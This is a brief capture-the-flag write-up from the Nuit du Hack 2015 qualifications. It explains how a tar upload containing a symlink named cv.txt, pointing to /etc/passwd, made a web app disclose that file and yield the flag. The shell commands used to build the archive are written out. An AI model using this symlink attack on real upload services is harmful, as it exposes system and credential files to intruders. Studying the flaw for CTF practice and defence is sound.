This task is a web task worth 100 points from the Nuit du Hack qualifications.
We are given a website that lets you upload txt files for a cover letter, and a motivation letter. (cv.txt, motiv.txt)
It is also possible to a tar file containing both files.
Once you uploaded them, you can see them in your profile.
It is possible to add symlinks to a tar file. We tried to put a symlink to /etc/passwd, and uploaded it.
xer@suicune:~/www/writeup/2015/ndh$ ln -s /etc/passwd cv.txt xer@suicune:~/www/writeup/2015/ndh$ echo -ne "The game" > motiv.txt xer@suicune:~/www/writeup/2015/ndh$ tar cvf pwn.tar *.txt cv.txt motiv.txt
It worked.
/etc/passwd
Flag: W00tSymL1nkAttackStillW0rksIn2k15
— XeR
Hexpresso 